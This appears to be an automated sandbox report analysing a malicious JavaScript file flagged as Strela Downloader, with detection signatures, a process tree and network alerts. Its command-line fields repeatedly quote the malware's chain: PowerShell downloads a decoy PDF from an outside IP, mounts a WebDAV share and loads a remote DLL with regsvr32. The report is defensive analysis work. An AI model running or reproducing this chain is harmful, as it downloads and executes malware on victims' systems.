Edit tour

Windows Analysis Report
1495528197325499932.js

Overview

General Information

Sample name:	1495528197325499932.js
Analysis ID:	1587796
MD5:	b78f119b7292849e68ea4560bde323f1
SHA1:	e765df1687689ab570a14dbac45d440ea0406e75
SHA256:	3e1e23dfd06a45620996973b01db48a96d201034a90d6abab3099bf5b5930403
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 3020 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1495528197325499932.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 6856 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21882994613744.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6844 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6360 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 348 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 4820 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 3848 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2284 --field-trial-handle=1528,i,15742713513426449704,15071076930009165979,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 5484 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 5824 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 1996 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 3020	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21882994613744.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6856, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6360, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21882994613744.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6856, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6360, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1495528197325499932.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1495528197325499932.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1495528197325499932.js", ProcessId: 3020, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 5824, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21882994613744.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21882994613744.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1495528197325499932.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3020, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21882994613744.dll, ProcessId: 6856, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21882994613744.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21882994613744.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1495528197325499932.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3020, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21882994613744.dll, ProcessId: 6856, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21882994613744.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21882994613744.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1495528197325499932.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3020, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21882994613744.dll, ProcessId: 6856, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21882994613744.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21882994613744.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1495528197325499932.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3020, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21882994613744.dll, ProcessId: 6856, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21882994613744.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21882994613744.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1495528197325499932.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3020, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21882994613744.dll, ProcessId: 6856, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1495528197325499932.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1495528197325499932.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1495528197325499932.js", ProcessId: 3020, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21882994613744.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6856, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6360, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5484, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5824, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 1996, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5484, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5824, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21882994613744.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21882994613744.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1495528197325499932.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3020, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21882994613744.dll, ProcessId: 6856, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T18:05:38.674652+0100	1810005	1	Potentially Bad Traffic	192.168.2.8	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T18:05:35.625715+0100	1810000	2	Potentially Bad Traffic	192.168.2.8	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 1495528197325499932.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 1495528197325499932.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.8:49705 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 17:05:35 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.8:49705 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.8:49704 -> 193.143.1.205:80

Source: global traffic

